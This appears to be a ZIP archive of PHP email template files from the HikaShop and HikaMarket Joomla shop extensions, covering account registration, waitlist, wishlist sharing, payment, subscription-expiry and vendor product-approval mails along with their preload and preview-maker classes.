PK�[�
�OOuser_account.html.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 2.2.3
* @author hikashop.com
* @copyright (C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php echo
JText::sprintf('HI_CUSTOMER',@$data->name);?>
<br/>
<?php echo
JText::sprintf('THANK_YOU_FOR_REGISTERING',HIKASHOP_LIVE);?><br/>
<?php if($data->active){
echo JText::sprintf('ACCOUNT_MUST_BE_ACTIVATED'); ?>
<br/><br/>
<a href="<?php echo
$data->activation_url;?>"><?php echo
$data->activation_url;?></a>
<?php } ?>
<br/><br/>
<?php
$password = false;
if(HIKASHOP_J16){
jimport('joomla.application.component.helper');
$usersConfig = JComponentHelper::getParams( 'com_users' );
if ($usersConfig->get('sendpassword')) {
$password = true;
}
}else{
$password = true;
}
?>
<?php if($password) echo
JText::sprintf('YOU_CAN_LOG_IN_WITH');?><br/>
<?php echo JText::sprintf('HIKA_USERNAME').' :
'.$data->username;?><br/>
<?php if($password) echo
JText::sprintf('HIKA_PASSWORD').' :
'.$data->password.'<br/>'; ?>
<br/>
<?php if(!empty($data->user_partner_activated)){
echo
JText::sprintf('THANK_YOU_FOR_BECOMING_OUR_PARTNER',$data->user_id,$data->partner_url);
}?>
<br/>
<?php echo
JText::sprintf('BEST_REGARDS_CUSTOMER',$mail->from_name);?>
PK�[8s���user_account.preview.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 4.4.1
* @author hikashop.com
* @copyright (C) 2010-2021 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
class user_accountPreviewMaker {
public $displaySubmitButton = false;
public $type = 'user';
public function prepareMail($data = null) {
if(empty($data))
return $this->getDefaultData();
$class = hikashop_get('class.user');
$user = $class->get($data);
$user->activation_url = $user->partner_url =
hikashop_currentURL();
$user->active = true;
$user->password = '*************';
$user->user_data = $user;
$config =& hikashop_config();
$subject = JText::_('USER_ACCOUNT_SUBJECT');
$mailClass = hikashop_get('class.mail');
$mail = $mailClass->get('user_account', $user);
$mail->subject = $subject;
$mail->from_email = $config->get('from_email');
$mail->from_name = $config->get('from_name');
$mail->dst_email = $user->user_email;
return $mail;
}
public function getDefaultData() {
}
public function getSelector($data) {
$nameboxType = hikashop_get('type.namebox');
$html = $nameboxType->display(
'data',
(int)$data,
hikashopNameboxType::NAMEBOX_SINGLE,
'user',
array(
'delete' => false,
'default_text' =>
'<em>'.JText::_('HIKA_NONE').'</em>',
)
);
if(empty($data)) {
echo
hikashop_display(Jtext::_('PLEASE_SELECT_A_USER_FOR_THE_PREVIEW'));
}
?>
<dl class="hika_options">
<dt>
<?php echo JText::_('HIKA_USER'); ?>
</dt>
<dd>
<?php echo $html; ?>
</dd>
</dl>
<script type="text/javascript">
window.Oby.ready(function() {
var w = window;
if(!w.oNameboxes['data'])
return;
w.oNameboxes['data'].register('set', function(e) {
hikashop.submitform('preview','adminForm');
});
});
</script>
<?php
}
}
PK�[jK7D++user_account.text.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 2.2.3
* @author hikashop.com
* @copyright (C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php echo
JText::sprintf('HI_CUSTOMER',@$data->name)."\n"."\n";
?>
<?php echo
JText::sprintf('THANK_YOU_FOR_REGISTERING',HIKASHOP_LIVE)."\n";?>
<?php if($data->active){
echo
JText::sprintf('ACCOUNT_MUST_BE_ACTIVATED')."\n"."\n";
?>
<?php echo $data->activation_url."\n"."\n";
}?>
<?php
$password = false;
if(HIKASHOP_J16){
jimport('joomla.application.component.helper');
$usersConfig = JComponentHelper::getParams( 'com_users' );
if ($usersConfig->get('sendpassword')) {
$password = true;
}
}else{
$password = true;
}
?>
<?php if($password) echo
JText::sprintf('YOU_CAN_LOG_IN_WITH')."\n";?>
<?php echo JText::sprintf('HIKA_USERNAME').' :
'.$data->username."\n";?>
<?php if($password) echo
JText::sprintf('HIKA_PASSWORD').' :
'.$data->password."\n"."\n"; ?>
<?php if(!empty($data->user_partner_activated)){
echo
JText::sprintf('THANK_YOU_FOR_BECOMING_OUR_PARTNER',$data->user_id,$data->partner_url)."\n"."\n";
}?>
<?php echo
str_replace('<br/>',"\n",JText::sprintf('BEST_REGARDS_CUSTOMER',$mail->from_name));?>
PK�[ؙ:"��(user_account_admin_notification.html.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 2.2.3
* @author hikashop.com
* @copyright (C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
echo JText::sprintf(
'HIKA_USER_ACCOUNT_ADMIN_NOTIFICATION_BODY',
$data->name,
$data->username,
HIKASHOP_LIVE
);
?>
PK�[�8���+user_account_admin_notification.preview.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 4.4.1
* @author hikashop.com
* @copyright (C) 2010-2021 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
class user_account_admin_notificationPreviewMaker {
public $displaySubmitButton = false;
public $type = 'user';
public function prepareMail($data = null) {
if(empty($data))
return $this->getDefaultData();
$class = hikashop_get('class.user');
$user = $class->get($data);
$user->activation_url = $user->partner_url =
hikashop_currentURL();
$user->active = true;
$user->password = '*************';
$user->user_data = $user;
$config =& hikashop_config();
$subject =
JText::_('HIKA_USER_ACCOUNT_ADMIN_NOTIFICATION_SUBJECT');
$mailClass = hikashop_get('class.mail');
$mail = $mailClass->get('user_account_admin_notification',
$user);
$mail->subject = $subject;
$mail->from_email = $config->get('from_email');
$mail->from_name = $config->get('from_name');
$mail->dst_email = $user->user_email;
return $mail;
}
public function getDefaultData() {
}
public function getSelector($data) {
$nameboxType = hikashop_get('type.namebox');
$html = $nameboxType->display(
'data',
(int)$data,
hikashopNameboxType::NAMEBOX_SINGLE,
'user',
array(
'delete' => false,
'default_text' =>
'<em>'.JText::_('HIKA_NONE').'</em>',
)
);
if(empty($data)) {
echo
hikashop_display(Jtext::_('PLEASE_SELECT_A_USER_FOR_THE_PREVIEW'));
}
?>
<dl class="hika_options">
<dt>
<?php echo JText::_('HIKA_USER'); ?>
</dt>
<dd>
<?php echo $html; ?>
</dd>
</dl>
<script type="text/javascript">
window.Oby.ready(function() {
var w = window;
if(!w.oNameboxes['data'])
return;
w.oNameboxes['data'].register('set', function(e) {
hikashop.submitform('preview','adminForm');
});
});
</script>
<?php
}
}
PK�[&!+���(user_account_admin_notification.text.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 2.2.3
* @author hikashop.com
* @copyright (C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
echo str_replace('<br/>',"\n",JText::sprintf(
'HIKA_USER_ACCOUNT_ADMIN_NOTIFICATION_BODY',
$data->name,
$data->username,
HIKASHOP_LIVE
));
?>
PK�[��ܷ\\$waitlist_admin_notification.html.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 4.4.1
* @author hikashop.com
* @copyright (C) 2010-2021 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><table class="w600" border="0"
cellspacing="0" cellpadding="0" width="600"
style="margin:0px;font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;">
<tr>
<td class="w20" width="20"></td>
<td class="w560 pict" style="text-align:left;
color:#575757" width="560">
<div id="title" style="font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;">
<img
src="{VAR:LIVE_SITE}/media/com_hikashop/images/icons/icon-48-forum.png"
border="0" alt=""
style="float:left;margin-right:4px;"/>
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold; border-bottom:1px solid #ddd;
padding-bottom:10px">
{TXT:WAITLIST_TITLE}
</h1>
<h2 style="color:#1c8faf
!important;font-size:12px;font-weight:bold; padding-bottom:10px">
{TXT:FOR_PRODUCT}
</h2>
</div>
</td>
<td class="w20" width="20"></td>
</tr>
<tr>
<td class="w20" width="20"></td>
<td style="border:1px solid
#adadad;background-color:#ffffff;">
<div class="w550" width="550"
id="content" style="font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin-left:5px;margin-right:5px;">
<p>
<h3 style="color:#393939 !important; font-size:14px;
font-weight:normal;
font-weight:bold;margin-bottom:0px;padding:0px;">{TXT:HI_USER}</h3>
{TXT:WAITLIST_BEGIN_MESSAGE}
</p>
<table class="w550" border="0"
cellspacing="0" cellpadding="0" width="550"
style="margin-top:10px;font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;">
<tr>
<td style="color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:USER}</td>
<td>{VAR:USER_DETAILS}</td>
</tr>
<tr>
<td style="color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT}</td>
<td>{VAR:PRODUCT_DETAILS}</td>
</tr>
</table>
</div>
</td>
<td class="w20" width="20"></td>
</tr>
</table>
PK�[�����'waitlist_admin_notification.preload.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 4.4.1
* @author hikashop.com
* @copyright (C) 2010-2021 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
global $Itemid;
$url_itemid = '';
if(!empty($Itemid))
$url_itemid = '&Itemid=' . $Itemid;
$texts = array(
'MAIL_HEADER' => JText::_('HIKASHOP_MAIL_HEADER'),
'WAITLIST_TITLE' =>
JText::_('WAITLIST_EMAIL_TITLE'),
'WAITLIST_BEGIN_MESSAGE' =>
JText::_('WAITLIST_BEGIN_MESSAGE'),
'USER' => JText::_('HIKA_USER'),
'PRODUCT' => JText::_('PRODUCT'),
'HI_USER' => JText::sprintf('HI_CUSTOMER',
''),
'FOR_PRODUCT' =>
JText::sprintf('WAITLIST_FOR_PRODUCT',
$data->product->product_name),
);
$admin_product_url =
JRoute::_('administrator/index.php?option=com_hikashop&ctrl=product&task=edit&cid[]='.$data->product->product_id,
false, true);
$productClass = hikashop_get('class.product');
$productClass->addAlias($data->product);
$front_product_url =
hikashop_frontendLink('index.php?option=com_hikashop&ctrl=product&task=show&cid='.$data->product->product_id.'&name='.$data->product->alias.$url_itemid);
$vars = array(
'LIVE_SITE' => HIKASHOP_LIVE,
'URL' => HIKASHOP_LIVE,
'USER_DETAILS' => htmlentities($data->user->name.'
( '.$data->user->email . ' )', ENT_COMPAT,
'UTF-8'),
'PRODUCT_DETAILS' => ('<a
href="'.$admin_product_url.'">'.strip_tags($data->product->product_name.'
('.$data->product->product_code.')').'</a>'),
'FRONT_PRODUCT_DETAILS' => ('<a
href="'.$front_product_url.'">'.strip_tags($data->product->product_name.'
('.$data->product->product_code.')').'</a>'),
);
PK�[ɳ�z��waitlist_notification.html.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 2.2.3
* @author hikashop.com
* @copyright (C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php echo
JText::sprintf('HI_CUSTOMER',@$data->name);?><br/>
<br/>
<?php echo JText::sprintf('WAITLIST_SUBSCRIBE_FOR_PRODUCT',
$data->product_name);?><br/>
<?php
if($data->product_quantity < 0 ) { $data->product_quantity =
JText::_('UNLIMITED'); }
echo JText::sprintf('THERE_IS_NOW_QTY_FOR_PRODUCT',
$data->product_quantity);?><br/>
<?php
$url = HIKASHOP_LIVE .
'index.php?option=com_hikashop&ctrl=product&task=show&cid='.
$data->product_id . '&Itemid='.
$data->product_item_id;
echo JText::sprintf('SEE_PRODUCT', $url);
?><br/>
<br/>
<?php echo
JText::sprintf('BEST_REGARDS_CUSTOMER',$mail->from_name);?>
PK�[�Z�
hh!waitlist_notification.preview.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 4.4.1
* @author hikashop.com
* @copyright (C) 2010-2021 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
class waitlist_notificationPreviewMaker {
public $displaySubmitButton = true;
public function prepareMail($data = null) {
if(empty($data))
return $this->getDefaultData();
$element = new stdClass();
foreach($data['waitlist'] as $column => $value) {
hikashop_secureField($column);
$element->$column = strip_tags($value);
}
$config =& hikashop_config();
$subject = JText::_('CONTACT_REQUEST');
if(!empty($element->product_id)) {
$productClass = hikashop_get('class.product');
$product = $productClass->get((int)$element->product_id);
if(!empty($product) && $product->product_type ==
'variant') {
$db = JFactory::getDBO();
$query = 'SELECT * FROM
'.hikashop_table('variant').' AS v '.
' LEFT JOIN '.hikashop_table('characteristic')
.' AS c ON v.variant_characteristic_id = c.characteristic_id '.
' WHERE v.variant_product_id =
'.(int)$element->product_id.' ORDER BY v.ordering';
$db->setQuery($query);
$product->characteristics = $db->loadObjectList();
$parentProduct =
$productClass->get((int)$product->product_parent_id);
$productClass->checkVariant($product, $parentProduct);
}
}
$product->product_item_id = 0;
$mailClass = hikashop_get('class.mail');
$infos = new stdClass();
$mail = $mailClass->get('waitlist_notification', $product);
$mail->subject = JText::sprintf($mail->subject, HIKASHOP_LIVE);
$mail->from_email = $config->get('from_email');
$mail->from_name = $config->get('from_name');
$mail->dst_email = $element->email;
return $mail;
}
public function getDefaultData() {
}
public function getSelector($data) {
$nameboxType = hikashop_get('type.namebox');
$html = $nameboxType->display(
'data[waitlist][product_id]',
(int)@$data['waitlist']['product_id'],
hikashopNameboxType::NAMEBOX_SINGLE,
'product',
array(
'delete' => false,
'variants' => 2,
'url_params' => array('VARIANTS' => 2),
'default_text' =>
'<em>'.JText::_('HIKA_NONE').'</em>',
'returnOnEmpty' => false,
)
);
?>
<dl class="hika_options">
<dt>
<?php echo JText::_('PRODUCT'); ?>
</dt>
<dd>
<?php echo $html; ?>
</dd>
<dt id="hikashop_waitlist_name_email"
class="hikashop_waitlist_item_name">
<label for="data[waitlist][email]"><?php echo
JText::_( 'HIKA_EMAIL' ); ?></label>
</dt>
<dd id="hikashop_waitlist_value_email"
class="hikashop_waitlist_item_value">
<input id="hikashop_waitlist_email" type="text"
name="data[waitlist][email]" size="40"
value="<?php echo @$data['waitlist']['email'];
?>" />
</dd>
</dl>
<?php
}
}
PK�[4�1E��wishlist_share.html.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 4.4.1
* @author hikashop.com
* @copyright (C) 2010-2021 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><style type="text/css">
.wishlist_button{
color:#333333 !important;
font-size:18px;
font-weight:normal;
font-weight:bold;
margin-bottom:0px;
padding:0px;
background-color: #ffc435;
border-radius: 5px;
padding: 15px;
display: block;
text-align: center;
}
</style>
<table class="w600" border="0"
cellspacing="0" cellpadding="0" width="600"
style="margin:0px;font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;">
<tr>
<td class="w20" width="20"></td>
<td class="w560 pict" style="text-align:left;
color:#575757" width="560">
<div id="title" style="font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;">
<img
src="{VAR:LIVE_SITE}/media/com_hikashop/images/icons/icon-48-forum.png"
border="0" alt=""
style="float:left;margin-right:4px;"/>
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold; border-bottom:1px solid #ddd;
padding-bottom:10px">
{TXT:WISHLIST_TITLE}
</h1>
<h2 style="color:#1c8faf
!important;font-size:12px;font-weight:bold; padding-bottom:10px">
{TXT:WISHLIST_BEGIN_MESSAGE}
</h2>
</div>
</td>
<td class="w20" width="20"></td>
</tr>
<tr>
<td class="w20" width="20"></td>
<td style="">
<h3>
<a class="wishlist_button"
href="{VAR:URL}">{TXT:DISPLAY_THE_WISHLIST_OF_USER}</a>
</h3>
</td>
<td class="w20" width="20"></td>
</tr>
</table>
PK�[�l��wishlist_share.preload.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 4.4.1
* @author hikashop.com
* @copyright (C) 2010-2021 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
$imageHelper = hikashop_get('helper.image');
$cartclass = hikashop_get('class.cart');
$user = $user_full = $data->user->user_email;
if(!empty($data->user->name)) {
$user = $data->user->name;
$user_full = $data->user->name . ' ( ' . $user_full .
' ) ';
}
$texts = array(
'MAIL_HEADER' => JText::_('HIKASHOP_MAIL_HEADER'),
'WISHLIST_TITLE' =>
JText::sprintf('WISHLIST_EMAIL_TITLE',
$data->cart->cart_name, HIKASHOP_LIVE),
'WISHLIST_BEGIN_MESSAGE' =>
JText::sprintf('WISHLIST_BEGIN_MESSAGE', $user_full),
'DISPLAY_THE_WISHLIST_OF_USER' =>
JText::sprintf('DISPLAY_THE_WISHLIST_OF_USER', $user),
);
$vars = array(
'URL' => $cartclass->getShareUrl($data->cart),
'cart' => $data->cart,
'user' => $data->user,
);
$cartProducts = array();
foreach($data->cart->products as $product){
$imageData = '';
if(!empty($product->images[0]->file_path)) {
$img =
$imageHelper->getThumbnail($product->images[0]->file_path,
array(50, 50), array('forcesize' => true, 'scale'
=> 'outside'));
if($img->success) {
if(substr($img->url, 0, 3) == '../')
$image = str_replace('../', HIKASHOP_LIVE, $img->url);
else
$image = substr(HIKASHOP_LIVE, 0, strpos(HIKASHOP_LIVE, '/',
9)) . $img->url;
$attributes = '';
if($img->external)
$attributes = ' width="'.$img->req_width.'"
height="'.$img->req_height.'"';
$imageData = '<img src="'.$image.'"
alt=""
style="float:left;margin-top:3px;margin-bottom:3px;margin-right:6px;"'.$attributes.'/>';
}
}
$cartProducts[] = array(
'product' => $product,
'PRODUCT_IMG' => $imageData
);
}
$templates = array('PRODUCT_LINE' => $cartProducts);
PK�[��ʫ��wishlist_share.preview.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 4.4.1
* @author hikashop.com
* @copyright (C) 2010-2021 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
class wishlist_sharePreviewMaker {
public $displaySubmitButton = true;
public function prepareMail($data = null) {
if(empty($data))
return $this->getDefaultData();
$wishlistClass = hikashop_get('class.cart');
$mail =
$wishlistClass->loadNotification($data['cart']['cart_id'],
'wishlist_share');
return $mail;
}
public function getDefaultData() {
}
public function getSelector($data) {
$nameboxType = hikashop_get('type.namebox');
$html = $nameboxType->display(
'data[cart][cart_id]',
(int)@$data['cart']['cart_id'],
hikashopNameboxType::NAMEBOX_SINGLE,
'cart',
array(
'delete' => false,
'default_text' =>
'<em>'.JText::_('HIKA_NONE').'</em>',
'returnOnEmpty' => false,
'type' => 'wishlist',
'url_params' => array(
'TYPE' => 'wishlist',
),
)
);
if(!$html){
hikashop_display(JText::_('PLEASE_FIRST_CREATE_A_WISHLIST'),
'info');
return;
}
if(empty($data)) {
echo
hikashop_display(Jtext::_('PLEASE_SELECT_A_WISHLIST_FOR_THE_PREVIEW'));
}
?>
<dl class="hika_options">
<dt>
<?php echo JText::_('WISHLIST'); ?>
</dt>
<dd>
<?php echo $html; ?>
</dd>
</dl>
<?php
}
}
PK�[��=payment_notification.text.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 2.2.3
* @author hikashop.com
* @copyright (C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php echo
JText::sprintf('HI_CUSTOMER',@$data->customer->name)."\n"."\n";?>
<?php
$url = $data->order->order_number;
if($config->get('simplified_registration',0) != 2) {
$url .= "\n".'( '.$data->order_url.'
)'."\n";
}
echo
JText::sprintf('ORDER_STATUS_CHANGED_TO',$url,$data->mail_status)."\n"."\n";?>
<?php echo
JText::sprintf('THANK_YOU_FOR_YOUR_ORDER',HIKASHOP_LIVE)."\n"."\n"."\n";?>
<?php echo
str_replace('<br/>',"\n",JText::sprintf('BEST_REGARDS_CUSTOMER',$mail->from_name));?>
PK�[�1Z��subscription_eot.html.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 2.2.3
* @author hikashop.com
* @copyright (C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
global $Itemid;
$url_Itemid = '';
if(isset($Itemid)){
$url_Itemid = "&Itemid=".$Itemid;
}
?>
<?php echo
JText::sprintf('HI_CUSTOMER',@$data->vars['first_name']."
".$data->vars['last_name']);?>
<br/><br/>
<?php echo
JText::sprintf('OUT_OF_DATE_SUBSCRIPTION',$data->order->order_number);
?>
<br/><br/>
<?php echo
"\r\n".JText::sprintf('NOTIFICATION_OF_ORDER_ON_WEBSITE',$data->order->order_number,HIKASHOP_LIVE);
?>
<br/><br/>
<?php echo
"\r\n".str_replace('<br/>',"\r\n",JText::sprintf('ACCESS_ORDER_WITH_LINK_FRONTEND',HIKASHOP_LIVE.'index.php?option=com_hikashop&ctrl=order&task=show&cid='.$data->order->order_id.$url_Itemid));
?>
<br/><br/>
<?php echo
JText::sprintf('BEST_REGARDS_CUSTOMER',HIKASHOP_LIVE);?>
PKT��[�ŊVGGproduct_approval.html.phpnu�[���<?php
/**
* @package HikaMarket for Joomla!
* @version 3.1.1
* @author Obsidev S.A.R.L.
* @copyright (C) 2011-2020 OBSIDEV. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><style type="text/css">
body.hikashop_mail { background-color:#ffffff; color:#575757; }
.ReadMsgBody{width:100%;}
.ExternalClass{width:100%;}
div, p, a, li, td {-webkit-text-size-adjust:none;}
@media (min-width:600px){
#hikamarket_mail {width:600px !important;margin:auto !important;}
.pict img {max-width:500px !important;height:auto !important;}
}
@media (max-width:330px){
#hikamarket_mail{width:300px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 10px !important;}
.pict img {max-width:278px; height:auto !important;}
}
@media (min-width:331px) and (max-width:480px){
#hikamarket_mail{width:450px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 20px !important;}
.pict img {max-width:408px; height:auto !important;}
}
h1{color:#1c8faf;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd; padding-bottom:10px;}
h2{color:#89a9c1;font-size:14px;font-weight:bold;margin-top:20px;margin-bottom:5px;border-bottom:1px
solid #d6d6d6;padding-bottom:4px;}
a:visited{cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;}
</style>
<div id="hikamarket_mail" style="font-family:Arial,
Helvetica,sans-serif;font-size:12px;line-height:18px;width:100%;background-color:#ffffff;padding-bottom:20px;color:#5b5b5b;">
<div class="hikashop_online" style="font-family:Arial,
Helvetica,sans-serif;font-size:11px;line-height:18px;color:#6a5c6b;text-decoration:none;margin:10px;text-align:center;">
<a
style="cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;"
href="{VAR:URL}">
<span class="hikashop_online"
style="color:#6a5c6b;text-decoration:none;font-size:11px;margin-top:10px;margin-bottom:10px;text-align:center;">
{TXT:HIKASHOP_MAIL_HEADER}
</span>
</a>
</div>
<table class="w600" style="font-family:Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin:auto;background-color:#ebebeb;"
border="0" cellspacing="0" cellpadding="0"
width="600" align="center">
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="bottom">
<img class="w600"
src="{VAR:LIVE_SITE}media/com_hikamarket/images/mail/header.png"
border="0" alt="" />
</td>
</tr>
<tr>
<td class="w600" style="" width="600"
align="center">
<table class="w600" border="0"
cellspacing="0" cellpadding="0" width="600"
style="margin:0px;font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;">
<tr>
<td class="w20" width="20"></td>
<td class="w560 pict" style="text-align:left;
color:#575757" width="560">
<div id="title" style="font-family: Arial,
Helvetica, sans-serif;font-size:12px;line-height:18px;">
<img
src="{VAR:LIVE_SITE}/media/com_hikashop/images/icons/icon-48-product.png"
border="0" alt=""
style="float:left;margin-right:4px;"/>
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold; border-bottom:1px solid #ddd;
padding-bottom:10px">
{TXT:MAIL_TITLE}
</h1>
</div>
</td>
<td class="w20" width="20"></td>
</tr>
<tr>
<td class="w20" width="20"></td>
<td style="border:1px solid
#adadad;background-color:#ffffff;">
<div class="w550" width="550"
id="content" style="font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin-left:5px;margin-right:5px;">
<p>
<h3 style="color:#393939 !important; font-size:14px;
font-weight:normal;
font-weight:bold;margin-bottom:0px;padding:0px;">{TXT:HI_VENDOR}</h3>
{TXT:PRODUCT_APPROVAL_BEGIN_MESSAGE}
</p>
<!--{IF:product}-->
<p>
<strong>{TXT:PRODUCT}</strong>: <a
href="{VAR:PRODUCT_URL}">{VAR:product.product_name}</a>
</p>
<!--{ENDIF:product}-->
<!--{IF:products}-->
<ul>
<!--{START:products}-->
<li><a
href="{LINEVAR:url}">{LINEVAR:product_name}</a></li>
<!--{END:products}-->
</ul>
<!--{ENDIF:products}-->
<!--{IF:message}-->
<h4>{TXT:APPROVAL_ADDITIONAL_MESSAGE}</h4>
<p>
{VAR:message}
</p>
<!--{ENDIF:message}-->
</div>
</td>
<td class="w20" width="20"></td>
</tr>
</table>
</td>
</tr>
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="top">
<img class="w600"
src="{VAR:LIVE_SITE}/media/com_hikamarket/images/mail/footer.png"
border="0" alt="--" />
</td>
</tr>
</table>
</div>
PKT��[�$�Ĭ�product_approval.preload.phpnu�[���<?php
/**
* @package HikaMarket for Joomla!
* @version 3.1.1
* @author Obsidev S.A.R.L.
* @copyright (C) 2011-2020 OBSIDEV. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
$vendor_name = $data->vendor->vendor_name;
$vars = array(
'LIVE_SITE' => HIKASHOP_LIVE,
'PRODUCT_URL' => @$product_url,
'vendor' => $data->vendor,
'message' => !empty($data->message) ?
nl2br($data->message) : '',
);
if(isset($data->product)) {
$vars['product'] = $data->product;
$vars['PRODUCT_URL'] =
hikashop_frontendLink('index.php?option=com_hikashop&ctrl=product&task=show&cid='.(int)$data->product->product_id);
}
if(isset($data->products)) {
foreach($data->products as &$p) {
$p->url =
hikashop_frontendLink('index.php?option=com_hikashop&ctrl=product&task=show&cid='.(int)$p->product_id);
}
$vars['products'] = true;
$templates['products'] = $data->products;
}
$texts = array(
'MAIL_TITLE' =>
JText::_('HIKAM_EMAIL_PRODUCT_APPROVAL'),
'MAIL_HEADER' =>
JText::_('HIKAMARKET_MAIL_HEADER'),
'HI_VENDOR' => JText::sprintf('HI_VENDOR',
$vendor_name),
);
PKT��[r�;{9 9 product_approval.preview.phpnu�[���<?php
/**
* @package HikaMarket for Joomla!
* @version 3.1.1
* @author Obsidev S.A.R.L.
* @copyright (C) 2011-2020 OBSIDEV. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
class market_product_approvalPreviewMaker {
public $displaySubmitButton = true;
public $type = 'product';
public function prepareMail($data = null) {
if(empty($data))
return $this->getDefaultData();
$producClass = hikashop_get('class.product');
$vendorClass = hikamarket::get('class.vendor');
$params = new stdClass();
$params->product =
$producClass->get((int)$data['product']);
$params->vendor = $vendorClass->get(
(int)$params->product->product_vendor_id );
$params->message = $data['message'];
$mailClass = hikamarket::get('class.mail');
$mail = $mailClass->load('product_approval', $params);
$mail->hikamarket = true;
if(empty($mail->subject))
$mail->subject = 'MARKET_PRODUCT_APPROVAL_SUBJECT';
return $mail;
}
public function getDefaultData() {
return array(
'product' => 0,
'message' => '',
);
}
public function getSelector($data) {
$nameboxType = hikashop_get('type.namebox');
$html = $nameboxType->display(
'data[product]',
(int)$data['product'],
hikashopNameboxType::NAMEBOX_SINGLE,
'product',
array(
'delete' => false,
'default_text' =>
'<em>'.JText::_('HIKA_NONE').'</em>',
'returnOnEmpty' => false,
)
);
if(!$html) {
hikashop_display(JText::_('PLEASE_FIRST_CREATE_A_PRODUCT'),
'info');
return;
}
if(empty($data)) {
echo
hikashop_display(Jtext::_('PLEASE_SELECT_A_PRODUCT_FOR_THE_PREVIEW'));
}
?>
<dl class="hika_options">
<dt><?php echo JText::_('HIKA_PRODUCT_NAME');
?></dt>
<dd><?php echo $html; ?></dd>
</dl>
